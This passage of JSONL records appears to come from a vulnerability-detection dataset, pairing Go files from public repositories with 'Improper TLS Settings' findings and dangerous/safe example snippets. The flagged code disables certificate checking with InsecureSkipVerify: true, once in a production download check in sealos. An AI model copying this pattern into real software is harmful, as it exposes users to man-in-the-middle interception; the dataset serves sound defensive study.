&controllers.ItemsetsController{}, \"get:List\")\n\n}", "dangerousExampleEn": "1. tlsConfig := &tls.Config{\n2. \tInsecureSkipVerify: true,\n3. }\nLine 2: This is insecure because InsecureSkipVerify is used to skip certificate verification.", "safeExampleEn": "1. tlsConfig := &tls.Config{\n2. \t//InsecureSkipVerify: true,\n3. }\nLine 2: This is secure because InsecureSkipVerify is not used and certificate verification is required.", "contexts": [{"lineNo": 71, "eventType": "sink", "messageKey": "gochk.IMPROPER_TLS_SETTING.GO.defect", "params": {}}]}} {"id": "b8a80324839ab9548bccb84ced946ce636a0b080a8d97cf0d371cc64a8854cf4", "license": {"spdx": ["Apache-2.0"], "repo": "TheBeatles1994/sealos", "path": "install/utils.go", "repo_head_hexsha": "f023b9afd428a892c84ed7782a614199e625d3ed", "stack_hexsha": "683463c5a19d46ddc02e0721876de32edbc29bd8", "match": "repo_path"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper TLS Settings", "issueDescriptionEn": "`InsecureSkipVerify` option sets the client to not verify the SSL/TLS certificate of the server. Using this option can cause vulnerabilities such as a man-in-the-middle attack or certificate forgery because the certificate for the server is not verified.\nBecause `InsecureSkipVerify` is `false` by default, it is secure unless declared as true.", "issueLineNumber": 94, "entireCode": "package install\n\nimport (\n\t\"archive/tar\"\n\t\"archive/zip\"\n\t\"compress/gzip\"\n\t\"crypto/tls\"\n\t\"fmt\"\n\t\"github.com/wonderivan/logger\"\n\t\"io\"\n\t\"math/big\"\n\t\"math/rand\"\n\t\"net\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"os\"\n\t\"path\"\n\t\"path/filepath\"\n\t\"strconv\"\n\t\"strings\"\n\t\"time\"\n)\n\nvar message string\n\n// ExitOSCase is\nfunc ExitInitCase() bool {\n\t// 重大错误直接退出, 不保存配置文件\n\tif len(MasterIPs) == 0 {\n\t\tmessage = ErrorMasterEmpty\n\t}\n\tif Version == \"\" {\n\t\tmessage += ErrorVersionEmpty\n\t}\n\t// 用户不写 --passwd, 默认走pk, 秘钥如果没有配置ssh互信, 则验证ssh的时候报错. 应该属于preRun里面\n\t// first to auth password, second auth pk.\n\t// 如果初始状态都没写, 默认都为空. 报这个错\n\t//if SSHConfig.Password == \"\" && SSHConfig.PkFile == \"\" {\n\t//\tmessage += ErrorMessageSSHConfigEmpty\n\t//}\n\tif message != \"\" {\n\t\tlogger.Error(message + \"please check your command is ok?\")\n\t\treturn true\n\t}\n\n\treturn pkgUrlCheck(PkgUrl)\n}\n\nfunc ExitDeleteCase(pkgUrl string) bool {\n\tif PackageConfig != \"\" && !FileExist(PackageConfig) {\n\t\tlogger.Error(\"your APP pkg-config File is not exist, Please check your pkg-config is exist\")\n\t\treturn true\n\t}\n\treturn pkgUrlCheck(pkgUrl)\n}\n\nfunc ExitInstallCase(pkgUrl string) bool {\n\t// values.yaml 使用了-f 但是文件不存在. 并且不使用 stdin\n\tif Values != \"-\" && !FileExist(Values) && Values != \"\" {\n\t\tlogger.Error(\"your values File is not exist and you have no stdin input, Please check your Values.yaml is exist\")\n\t\treturn true\n\t}\n\t// PackageConfig 使用了-c 但是文件不存在\n\tif PackageConfig != \"\" && !FileExist(PackageConfig) {\n\t\tlogger.Error(\"your install APP pkg-config File is not exist, Please check your pkg-config is exist\")\n\t\treturn true\n\t}\n\treturn pkgUrlCheck(pkgUrl)\n}\n\nfunc pkgUrlCheck(pkgUrl string) bool {\n\tif !strings.HasPrefix(pkgUrl, \"http\") && !FileExist(pkgUrl) {\n\t\tmessage = ErrorFileNotExist\n\t\tlogger.Error(message + \"please check where your PkgUrl is right?\")\n\t\treturn true\n\t}\n\t// 判断PkgUrl, 有http前缀时, 下载的文件如果小于400M ,则报错.\n\treturn strings.HasPrefix(pkgUrl, \"http\") && !downloadFileCheck(pkgUrl)\n}\n\nfunc downloadFileCheck(pkgUrl string) bool {\n\tu, err := url.Parse(pkgUrl)\n\tif err != nil {\n\t\treturn false\n\t}\n\tif u != nil {\n\t\treq, err := http.NewRequest(\"GET\", u.String(), nil)\n\t\tif err != nil {\n\t\t\tlogger.Error(ErrorPkgUrlNotExist, \"please check where your PkgUrl is right?\")\n\t\t\treturn false\n\t\t}\n\t\tclient := &http.Client{\n\t\t\tTransport: &http.Transport{\n\t\t\t\tTLSClientConfig: &tls.Config{InsecureSkipVerify: true},\n\t\t\t},\n\t\t}\n\t\t_, err = client.Do(req)\n\t\tif err != nil {\n\t\t\tlogger.Error(err)\n\t\t\treturn false\n\t\t}\n\t\t/*\n\t\t\tif tp := resp.Header.Get(\"Content-Type\"); tp != \"application/x-gzip\" {\n\t\t\t\tlogger.Error(\"your pkg url is a \", tp, \"file, please check your PkgUrl is right?\")\n\t\t\t\treturn false\n\t\t\t}\n\t\t*/\n\n\t\t//if resp.ContentLength < MinDownloadFileSize { //判断大小 这里可以设置成比如 400MB 随便设置一个大小\n\t\t//\tlogger.Error(\"your pkgUrl download file size is : \", resp.ContentLength/1024/1024, \"m, please check your PkgUrl is right\")\n\t\t//\treturn false\n\t\t//}\n\t}\n\treturn true\n}\n\nfunc FileExist(path string) bool {\n\t_, err := os.Stat(path)\n\treturn err == nil || os.IsExist(err)\n}\n\n//VersionToInt v1.15.6 => 115\nfunc VersionToInt(version string) int {\n\t// v1.15.6 => 1.15.6\n\tversion = strings.Replace(version, \"v\", \"\", -1)\n\tversionArr := strings.Split(version, \".\")\n\tif len(versionArr) >= 2 {\n\t\tversionStr := versionArr[0] + versionArr[1]\n\t\tif i, err := strconv.Atoi(versionStr); err == nil {\n\t\t\treturn i\n\t\t}\n\t}\n\treturn 0\n}\n\n//VersionToIntAll v1.19.1 ==> 1191\nfunc VersionToIntAll(version string) int {\n\tversion = strings.Replace(version,\"v\",\"\", -1)\n\tarr := strings.Split(version,\".\")\n\tif len(arr) >= 3 {\n\t\tstr := arr[0] + arr[1] + arr[2]\n\t\tif i, err := strconv.Atoi(str) ;err == nil {\n\t\t\treturn i\n\t\t}\n\t}\n\treturn 0\n}\n\n//IpFormat is\nfunc IpFormat(host string) string {\n\tipAndPort := strings.Split(host, \":\")\n\tif len(ipAndPort) != 2 {\n\t\tlogger.Error(\"invalied host fomat [%s], must like 192.168.127.12:22\", host)\n\t\tos.Exit(1)\n\t}\n\treturn ipAndPort[0]\n}\n\n// RandString 生成随机字符串\nfunc RandString(len int) string {\n\tvar r *rand.Rand\n\tr = rand.New(rand.NewSource(time.Now().Unix()))\n\tbytes := make([]byte, len)\n\tfor i := 0; i < len; i++ {\n\t\tb := r.Intn(26) + 65\n\t\tbytes[i] = byte(b)\n\t}\n\treturn string(bytes)\n}\n\n// Cmp compares two IPs, returning the usual ordering:\n// a < b : -1\n// a == b : 0\n// a > b : 1\nfunc Cmp(a, b net.IP) int {\n\taa := ipToInt(a)\n\tbb := ipToInt(b)\n\n\tif aa == nil || bb == nil {\n\t\tlogger.Error(\"ip range %s-%s is invalid\", a.String(), b.String())\n\t\tos.Exit(-1)\n\t}\n\treturn aa.Cmp(bb)\n}\n\nfunc ipToInt(ip net.IP) *big.Int {\n\tif v := ip.To4(); v != nil {\n\t\treturn big.NewInt(0).SetBytes(v)\n\t}\n\treturn big.NewInt(0).SetBytes(ip.To16())\n}\n\nfunc intToIP(i *big.Int) net.IP {\n\treturn net.IP(i.Bytes())\n}\n\nfunc stringToIP(i string) net.IP {\n\treturn net.ParseIP(i).To4()\n}\n\n// NextIP returns IP incremented by 1\nfunc NextIP(ip net.IP) net.IP {\n\ti := ipToInt(ip)\n\treturn intToIP(i.Add(i, big.NewInt(1)))\n}\n\n// ParseIPs 解析ip 192.168.0.2-192.168.0.6\nfunc ParseIPs(ips []string) []string {\n\treturn DecodeIPs(ips)\n}\n\nfunc DecodeIPs(ips []string) []string {\n\tvar res []string\n\tvar port string\n\tfor _, ip := range ips {\n\t\tport = \"22\"\n\t\tif ipport := strings.Split(ip, \":\"); len(ipport) == 2 {\n\t\t\tip = ipport[0]\n\t\t\tport = ipport[1]\n\t\t}\n\t\tif iprange := strings.Split(ip, \"-\"); len(iprange) == 2 {\n\t\t\tfor Cmp(stringToIP(iprange[0]), stringToIP(iprange[1])) <= 0 {\n\t\t\t\tres = append(res, fmt.Sprintf(\"%s:%s\", iprange[0], port))\n\t\t\t\tiprange[0] = NextIP(stringToIP(iprange[0])).String()\n\t\t\t}\n\t\t} else {\n\t\t\tif stringToIP(ip) == nil {\n\t\t\t\tlogger.Error(\"ip [%s] is invalid\", ip)\n\t\t\t\tos.Exit(1)\n\t\t\t}\n\t\t\tres = append(res, fmt.Sprintf(\"%s:%s\", ip, port))\n\t\t}\n\t}\n\treturn res\n}\n\n// like y|yes|Y|YES return true\nfunc GetConfirmResult(str string) bool {\n\treturn YesRx.MatchString(str)\n}\n\n// send the prompt and get result\nfunc Confirm(prompt string) bool {\n\tvar (\n\t\tinputStr string\n\t\terr error\n\t)\n\t_, err = fmt.Fprint(os.Stdout, prompt)\n\tif err != nil {\n\t\tlogger.Error(\"fmt.Fprint err\", err)\n\t\tos.Exit(-1)\n\t}\n\n\t_, err = fmt.Scanf(\"%s\", &inputStr)\n\tif err != nil {\n\t\tlogger.Error(\"fmt.Scanf err\", err)\n\t\tos.Exit(-1)\n\t}\n\n\treturn GetConfirmResult(inputStr)\n}\n\nfunc SliceRemoveStr(ss []string, s string) (result []string) {\n\tfor _, v := range ss {\n\t\tif v != s {\n\t\t\tresult = append(result, v)\n\t\t}\n\t}\n\treturn\n}\n\n//判断当前host的hostname\nfunc isHostName(master, host string) string {\n\thostString := SSHConfig.CmdToString(master, \"kubectl get nodes | grep -v NAME | awk '{print $1}'\", \",\")\n\thostName := SSHConfig.CmdToString(host, \"hostname\", \"\")\n\tlogger.Debug(\"hosts %v\", hostString)\n\thosts := strings.Split(hostString, \",\")\n\tvar name string\n\tfor _, h := range hosts {\n\t\tif strings.TrimSpace(h) == \"\" {\n\t\t\tcontinue\n\t\t} else {\n\t\t\thh := strings.ToLower(h)\n\t\t\tfromH := strings.ToLower(hostName)\n\t\t\tif hh == fromH {\n\t\t\t\tname = h\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\treturn name\n}\n\nfunc GetRemoteHostName(hostIP string) string {\n\thostName := SSHConfig.CmdToString(hostIP, \"hostname\", \"\")\n\treturn strings.ToLower(hostName)\n}\n\n//获取sealos绝对路径\nfunc FetchSealosAbsPath() string {\n\tex, _ := os.Executable()\n\texPath := filepath.Dir(ex)\n\treturn exPath + string(os.PathSeparator) + os.Args[0]\n}\n\nfunc CompressTar(srcDirPath string, destFilePath string) error {\n\tfw, err := os.Create(destFilePath)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer fw.Close()\n\n\tgw := gzip.NewWriter(fw)\n\tdefer gw.Close()\n\n\ttw := tar.NewWriter(gw)\n\tdefer tw.Close()\n\n\tf, err := os.Open(srcDirPath)\n\tif err != nil {\n\t\treturn err\n\t}\n\tfi, err := f.Stat()\n\tif err != nil {\n\t\treturn err\n\t}\n\tif fi.IsDir() {\n\t\terr = compressDir(srcDirPath, path.Base(srcDirPath), tw)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t} else {\n\t\terr := compressFile(srcDirPath, fi.Name(), tw, fi)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc compressDir(srcDirPath string, recPath string, tw *tar.Writer) error {\n\tdir, err := os.Open(srcDirPath)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer dir.Close()\n\n\tfis, err := dir.Readdir(0)\n\tif err != nil {\n\t\treturn err\n\t}\n\tfor _, fi := range fis {\n\t\tcurPath := srcDirPath + \"/\" + fi.Name()\n\n\t\tif fi.IsDir() {\n\t\t\terr = compressDir(curPath, recPath+\"/\"+fi.Name(), tw)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\n\t\terr = compressFile(curPath, recPath+\"/\"+fi.Name(), tw, fi)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc compressFile(srcFile string, recPath string, tw *tar.Writer, fi os.FileInfo) error {\n\tif fi.IsDir() {\n\t\thdr := new(tar.Header)\n\t\thdr.Name = recPath + \"/\"\n\t\thdr.Typeflag = tar.TypeDir\n\t\thdr.Size = 0\n\t\thdr.Mode = int64(fi.Mode())\n\t\thdr.ModTime = fi.ModTime()\n\n\t\terr := tw.WriteHeader(hdr)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t} else {\n\t\tfr, err := os.Open(srcFile)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tdefer fr.Close()\n\n\t\thdr := new(tar.Header)\n\t\thdr.Name = recPath\n\t\thdr.Size = fi.Size()\n\t\thdr.Mode = int64(fi.Mode())\n\t\thdr.ModTime = fi.ModTime()\n\n\t\terr = tw.WriteHeader(hdr)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\t_, err = io.Copy(tw, fr)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}\n\n// CompressZip is compress all file in fileDir , and zip to outputPath like unix zip ./ -r a.zip\nfunc CompressZip(fileDir string, outputPath string) error {\n\toutFile, err := os.Create(outputPath)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer outFile.Close()\n\tw := zip.NewWriter(outFile)\n\tdefer w.Close()\n\n\treturn filepath.Walk(fileDir, func(path string, f os.FileInfo, err error) error {\n\t\tif f == nil {\n\t\t\treturn err\n\t\t}\n\t\tif f.IsDir() {\n\t\t\treturn nil\n\t\t}\n\t\trel, _ := filepath.Rel(fileDir, path)\n\t\tfmt.Println(rel, path)\n\t\tcompress(rel, path, w)\n\t\treturn nil\n\t})\n\n}\n\nfunc compress(rel string, path string, zw *zip.Writer) {\n\tfile, _ := os.Open(path)\n\tinfo, _ := file.Stat()\n\theader, _ := zip.FileInfoHeader(info)\n\theader.Name = rel\n\twriter, _ := zw.CreateHeader(header)\n\tio.Copy(writer, file)\n\tdefer file.Close()\n}", "dangerousExampleEn": "1. tlsConfig := &tls.Config{\n2. \tInsecureSkipVerify: true,\n3. }\nLine 2: This is insecure because InsecureSkipVerify is used to skip certificate verification.", "safeExampleEn": "1. tlsConfig := &tls.Config{\n2. \t//InsecureSkipVerify: true,\n3. }\nLine 2: This is secure because InsecureSkipVerify is not used and certificate verification is required.", "contexts": [{"lineNo": 94, "eventType": "sink", "messageKey": "gochk.IMPROPER_TLS_SETTING.GO.defect", "params": {}}]}} {"id": "c24396b9f68beba572e5d12f6e7992925a4832775cd6bcc898f3e30797c0e7cf", "license": {"spdx": ["Apache-2.0"], "repo": "svc-excavator-bot-org/witchcraft-go-logging", "path": "wlog/tcpjson/tcp_writer_test.go", "repo_head_hexsha": "694a3bc65b55dd89fe2b2c0705a6c79f2b3edbfe", "stack_hexsha": "dc9204d0c214aecf19eed0236d880790445bdf33", "match": "repo_path"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper TLS Settings", "issueDescriptionEn": "`InsecureSkipVerify` option sets the client to not verify the SSL/TLS certificate of the server. Using this option can cause vulnerabilities such as a man-in-the-middle attack or certificate forgery because the certificate for the server is not verified.\nBecause `InsecureSkipVerify` is `false` by default, it is secure unless declared as true.", "issueLineNumber": 93, "entireCode": "// Copyright (c) 2021 . All rights reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage tcpjson\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"crypto/tls\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"net\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"strings\"\n\t\"sync/atomic\"\n\t\"testing\"\n\t\"time\"\n\n\twerror \"github.com/palantir/witchcraft-go-error\"\n\t\"github.com/palantir/witchcraft-go-health/conjure/witchcraft/api/health\"\n\t\"github.com/palantir/witchcraft-go-logging/conjure/witchcraft/api/logging\"\n\t\"github.com/palantir/witchcraft-go-logging/wlog\"\n\t\"github.com/palantir/witchcraft-go-logging/wlog/svclog/svc1log\"\n\t\"github.com/stretchr/testify/assert\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nvar (\n\ttestMetadata = LogEnvelopeMetadata{\n\t\tDeployment: \"test-deployment\",\n\t\tEnvironment: \"test-environment\",\n\t\tEnvironmentID: \"test-environment-id\",\n\t\tHost: \"test-host\",\n\t\tNodeID: \"test-node-id\",\n\t\tProduct: \"test-product\",\n\t\tProductVersion: \"test-product-version\",\n\t\tService: \"test-service\",\n\t\tServiceID: \"test-service-id\",\n\t\tStack: \"test-stack\",\n\t\tStackID: \"test-stack-id\",\n\t}\n\tlogPayload = []byte(`{\"type\": \"service.1\",\"message\":\"test\",\"level\":\"INFO\"}\\n`)\n)\n\ntype logEnvelopeV1 struct {\n\tLogEnvelopeMetadata\n\tType string `json:\"type\"`\n\tPayload json.RawMessage `json:\"payload\"`\n}\n\nfunc TestWrite(t *testing.T) {\n\tfor _, tc := range []struct {\n\t\tname string\n\t\tpayload []byte\n\t}{\n\t\t{\"payload-with-newline\", logPayload},\n\t\t{\"payload-without-newline\", bytes.TrimSuffix(logPayload, []byte(\"\\n\"))},\n\t\t{\"no-payload\", nil},\n\t} {\n\t\tt.Run(tc.name, func(t *testing.T) {\n\t\t\texpectedEnvelope := getEnvelopeBytes(t, tc.payload)\n\t\t\tprovider := new(bufferedConnProvider)\n\t\t\ttcpWriter := NewTCPWriter(testMetadata, provider)\n\t\t\tn, err := tcpWriter.Write(tc.payload)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Equal(t, len(tc.payload), n)\n\t\t\tbuf := provider.buffer.Bytes()\n\t\t\trequire.True(t, bytes.Equal(buf, expectedEnvelope))\n\t\t})\n\t}\n}\n\n// TestWrite_Timeout asserts that the connection is closed on a timeout error.\nfunc TestWrite_Timeout(t *testing.T) {\n\t// startup an in-memory TLS server to write TCP logs to\n\tserver := httptest.NewTLSServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {}))\n\tdefer server.Close()\n\n\t// get a TCP connection using the TCPConnProvider\n\turis := []string{fmt.Sprintf(\"%s://%s\", server.Listener.Addr().Network(), server.Listener.Addr().String())}\n\tconnProvider, err := NewTCPConnProvider(uris, WithTLSConfig(&tls.Config{InsecureSkipVerify: true}))\n\trequire.NoError(t, err)\n\tconn, err := connProvider.GetConn()\n\trequire.NoError(t, err)\n\tdefer func() { _ = conn.Close() }()\n\n\t// create the TCPWriter with a small net conn wrapper so that we can control the state of the connection below.\n\ttcpWriter := NewTCPWriter(testMetadata, &netConnProvider{conn: conn})\n\n\t// initial write should succeed\n\tn, err := tcpWriter.Write(logPayload)\n\trequire.NoError(t, err)\n\trequire.Equal(t, len(logPayload), n)\n\t// conn is cached since it's active\n\trequire.NotNil(t, tcpWriter.conn)\n\n\t// set a deadline which should cause the Write to timeout\n\terr = conn.SetDeadline(time.Now())\n\trequire.NoError(t, err)\n\t_, err = tcpWriter.Write(logPayload)\n\trequire.Error(t, err)\n\trequire.True(t, isTimeoutError(err))\n\trequire.False(t, isTemporaryError(err))\n\t// conn is nil, since it should be closed\n\trequire.Nil(t, tcpWriter.conn)\n\n\t// subsequent writes should error since the connection should be closed\n\t_, err = tcpWriter.Write(logPayload)\n\trequire.Error(t, err)\n\trequire.False(t, isTimeoutError(err))\n\trequire.False(t, isTemporaryError(err))\n\trequire.True(t,\n\t\tstrings.Contains(err.Error(), \"use of closed network connection\") ||\n\t\t\tstrings.Contains(err.Error(), \"tls: use of closed connection\"),\n\t)\n\t// conn is nil, since it should be closed\n\trequire.Nil(t, tcpWriter.conn)\n}\n\nfunc isTimeoutError(err error) bool {\n\tif ne, ok := err.(net.Error); ok {\n\t\treturn ne.Timeout()\n\t}\n\treturn false\n}\n\nfunc isTemporaryError(err error) bool {\n\tif ne, ok := err.(net.Error); ok {\n\t\treturn ne.Temporary()\n\t}\n\treturn false\n}\n\n// TestWriteFromSvc1log is more of an integration style test which verifies the envelopes written\n// are as expected when using the TCPWriter as an io.Writer for svc1log.\nfunc TestWriteFromSvc1log(t *testing.T) {\n\tprovider := new(bufferedConnProvider)\n\ttcpWriter := NewTCPWriter(testMetadata, provider)\n\tlogger := svc1log.NewFromCreator(tcpWriter, wlog.DebugLevel, wlog.NewJSONMarshalLoggerProvider().NewLeveledLogger)\n\tlogger.Debug(\"this is a test\")\n\n\tbuf := provider.buffer.Bytes()\n\tvar gotEnvelope logEnvelopeV1\n\terr := json.Unmarshal(buf, &gotEnvelope)\n\trequire.NoError(t, err)\n\n\t// Verify all envelope metadata\n\tassert.Equal(t, logEnvelopeV1Type, gotEnvelope.Type)\n\tassert.Equal(t, testMetadata.Deployment, gotEnvelope.Deployment)\n\tassert.Equal(t, testMetadata.Environment, gotEnvelope.Environment)\n\tassert.Equal(t, testMetadata.EnvironmentID, gotEnvelope.EnvironmentID)\n\tassert.Equal(t, testMetadata.Host, gotEnvelope.Host)\n\tassert.Equal(t, testMetadata.NodeID, gotEnvelope.NodeID)\n\tassert.Equal(t, testMetadata.Product, gotEnvelope.Product)\n\tassert.Equal(t, testMetadata.ProductVersion, gotEnvelope.ProductVersion)\n\tassert.Equal(t, testMetadata.Service, gotEnvelope.Service)\n\tassert.Equal(t, testMetadata.ServiceID, gotEnvelope.ServiceID)\n\tassert.Equal(t, testMetadata.Stack, gotEnvelope.Stack)\n\tassert.Equal(t, testMetadata.StackID, gotEnvelope.StackID)\n\n\t// Verify the payload\n\tgotPayload := new(logging.ServiceLogV1)\n\terr = gotPayload.UnmarshalJSON(gotEnvelope.Payload)\n\trequire.NoError(t, err)\n\tassert.Equal(t, \"this is a test\", gotPayload.Message)\n\tassert.Equal(t, logging.New_LogLevel(logging.LogLevel_DEBUG), gotPayload.Level)\n}\n\n// TestClosedWriter verifies the behavior of attempting to write when the writer is closed.\nfunc TestClosedWriter(t *testing.T) {\n\tprovider := new(bufferedConnProvider)\n\ttcpWriter := NewTCPWriter(testMetadata, provider)\n\n\tn, err := tcpWriter.Write(logPayload)\n\trequire.NoError(t, err)\n\trequire.Equal(t, len(logPayload), n)\n\n\terr = tcpWriter.Close()\n\trequire.NoError(t, err)\n\n\t// Attempt a write and expect that the writer is closed\n\tn, err = tcpWriter.Write(logPayload)\n\trequire.Error(t, err)\n\trequire.EqualError(t, err, errWriterClosed)\n\trequire.True(t, n == 0)\n}\n\nfunc TestHealthStatus(t *testing.T) {\n\tfor _, tc := range []struct {\n\t\tname string\n\t\ttcpWriterFunc func() *TCPWriter\n\t\texpected health.HealthState_Value\n\t}{\n\t\t{\n\t\t\tname: \"not started\",\n\t\t\ttcpWriterFunc: func() *TCPWriter {\n\t\t\t\treturn NewTCPWriter(LogEnvelopeMetadata{}, &bufferedConnProvider{})\n\t\t\t},\n\t\t\texpected: health.HealthState_HEALTHY,\n\t\t},\n\t\t{\n\t\t\tname: \"shutting down\",\n\t\t\ttcpWriterFunc: func() *TCPWriter {\n\t\t\t\tw := NewTCPWriter(LogEnvelopeMetadata{}, &bufferedConnProvider{})\n\t\t\t\t_ = w.Close()\n\t\t\t\treturn w\n\t\t\t},\n\t\t\texpected: health.HealthState_HEALTHY,\n\t\t},\n\t\t{\n\t\t\tname: \"established connection\",\n\t\t\ttcpWriterFunc: func() *TCPWriter {\n\t\t\t\tw := NewTCPWriter(LogEnvelopeMetadata{}, &bufferedConnProvider{})\n\t\t\t\t_, err := w.Write(logPayload)\n\t\t\t\trequire.NoError(t, err)\n\t\t\t\treturn w\n\t\t\t},\n\t\t\texpected: health.HealthState_HEALTHY,\n\t\t},\n\t\t{\n\t\t\tname: \"failed to get connection\",\n\t\t\ttcpWriterFunc: func() *TCPWriter {\n\t\t\t\tw := NewTCPWriter(LogEnvelopeMetadata{}, &failingConnProvider{err: fmt.Errorf(\"error\")})\n\t\t\t\t_, err := w.Write(logPayload)\n\t\t\t\tassert.Error(t, err)\n\t\t\t\treturn w\n\t\t\t},\n\t\t\texpected: health.HealthState_WARNING,\n\t\t},\n\t} {\n\t\tt.Run(tc.name, func(t *testing.T) {\n\t\t\ttcpWriter := tc.tcpWriterFunc()\n\t\t\tgotHealthState := tcpWriter.HealthStatus(context.Background())\n\t\t\tassert.NotNil(t, gotHealthState)\n\t\t\tassert.Len(t, gotHealthState.Checks, 1)\n\t\t\tassert.Equal(t, tc.expected, gotHealthState.Checks[TCPWriterHealthCheckName].State.Value())\n\t\t})\n\t}\n}\n\nfunc getEnvelopeBytes(t *testing.T, payload []byte) []byte {\n\tenvelope, err := zerologSerializer(testMetadata)(payload)\n\trequire.NoError(t, err)\n\treturn envelope\n}\n\n// bufferedConnProvider is a mock ConnProvider that writes to an internal\n// bytes buffer instead of to the net.Conn.\ntype bufferedConnProvider struct {\n\tnet.Conn\n\terr error\n\tbuffer bytes.Buffer\n\t// writeCount tracks the total number of writes that are called.\n\t// This field should only be used in testing and should only be updated/read with atomic operations.\n\twriteCount int32\n}\n\nfunc (t *bufferedConnProvider) GetConn() (net.Conn, error) {\n\treturn t, nil\n}\n\nfunc (t *bufferedConnProvider) Write(d []byte) (int, error) {\n\tatomic.AddInt32(&t.writeCount, 1)\n\treturn t.buffer.Write(d)\n}\n\nfunc (t *bufferedConnProvider) Close() error {\n\treturn t.err\n}\n\ntype failingConnProvider struct {\n\terr error\n}\n\nfunc (t *failingConnProvider) GetConn() (net.Conn, error) {\n\treturn nil, t.err\n}\n\ntype netConnProvider struct {\n\tconn net.Conn\n}\n\nfunc (n *netConnProvider) GetConn() (net.Conn, error) {\n\treturn n.conn, nil\n}\n\n// BenchmarkEnvelopeSerializer records the total time and memory allocations for each envelope serializer.\nfunc BenchmarkEnvelopeSerializer(b *testing.B) {\n\tfor _, tc := range []struct {\n\t\tname string\n\t\tserializerFunc envelopeSerializerFunc\n\t}{\n\t\t{\"zerolog\", zerologSerializer(testMetadata)},\n\t\t{\"JSON-Encoder\", jsonEncoderSerializer(testMetadata)},\n\t\t{\"JSON-Marshaler\", jsonMarshalSerializer(testMetadata)},\n\t\t{\"manual\", manualSerializer(testMetadata)},\n\t} {\n\t\tb.Run(tc.name, func(b *testing.B) {\n\t\t\tb.ResetTimer()\n\t\t\tb.ReportAllocs()\n\t\t\tfor n := 0; n < b.N; n++ {\n\t\t\t\t_, _ = tc.serializerFunc(logPayload)\n\t\t\t}\n\t\t})\n\t}\n}\n\n// jsonEncoderSerializer returns an envelopeSerializerFunc that uses the json.Encoder to serialize the envelope.\nfunc jsonEncoderSerializer(metadata LogEnvelopeMetadata) envelopeSerializerFunc {\n\treturn func(p []byte) ([]byte, error) {\n\t\tvar buf bytes.Buffer\n\t\tenvelopeToWrite := getEnvelopeWithPayload(metadata, p)\n\t\tif err := json.NewEncoder(&buf).Encode(&envelopeToWrite); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\treturn buf.Bytes(), nil\n\t}\n}\n\n// jsonMarshalSerializer returns an envelopeSerializerFunc that uses the json.Marshal to serialize the envelope.\nfunc jsonMarshalSerializer(metadata LogEnvelopeMetadata) envelopeSerializerFunc {\n\treturn func(p []byte) ([]byte, error) {\n\t\tenvelopeToWrite := getEnvelopeWithPayload(metadata, p)\n\t\tb, err := json.Marshal(&envelopeToWrite)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\treturn append(b, '\\n'), nil\n\t}\n}\n\n// manualSerializer returns an envelopeSerializerFunc that manually injects the payload.\nfunc manualSerializer(metadata LogEnvelopeMetadata) envelopeSerializerFunc {\n\tmetadataJSON, _ := jsonEncoderSerializer(metadata)(nil)\n\treturn func(p []byte) ([]byte, error) {\n\t\t// manually inject the payload into the metadataJSON\n\t\tidx := bytes.LastIndexByte(metadataJSON, '}')\n\t\tif idx == -1 {\n\t\t\treturn nil, werror.Error(\"invalid JSON\")\n\t\t}\n\t\tenvelope := bytes.NewBuffer(metadataJSON[:idx])\n\t\tenvelope.Write([]byte(`,\"payload\":`))\n\t\tenvelope.Write(p)\n\t\tenvelope.Write([]byte(`}\\n`))\n\t\treturn envelope.Bytes(), nil\n\t}\n}\n\nfunc getEnvelopeWithPayload(metadata LogEnvelopeMetadata, payload []byte) logEnvelopeV1 {\n\treturn logEnvelopeV1{\n\t\tLogEnvelopeMetadata: LogEnvelopeMetadata{\n\t\t\tDeployment: metadata.Deployment,\n\t\t\tEnvironment: metadata.Environment,\n\t\t\tEnvironmentID: metadata.EnvironmentID,\n\t\t\tHost: metadata.Host,\n\t\t\tNodeID: metadata.NodeID,\n\t\t\tService: metadata.Service,\n\t\t\tServiceID: metadata.ServiceID,\n\t\t\tStack: metadata.Stack,\n\t\t\tStackID: metadata.StackID,\n\t\t\tProduct: metadata.Product,\n\t\t\tProductVersion: metadata.ProductVersion,\n\t\t},\n\t\tType: logEnvelopeV1Type,\n\t\tPayload: payload,\n\t}\n}", "dangerousExampleEn": "1. tlsConfig := &tls.Config{\n2. \tInsecureSkipVerify: true,\n3. }\nLine 2: This is insecure because InsecureSkipVerify is used to skip certificate verification.", "safeExampleEn": "1. tlsConfig := &tls.Config{\n2. \t//InsecureSkipVerify: true,\n3. }\nLine 2: This is secure because InsecureSkipVerify is not used and certificate verification is required.", "contexts": [{"lineNo": 93, "eventType": "sink", "messageKey": "gochk.IMPROPER_TLS_SETTING.GO.defect", "params": 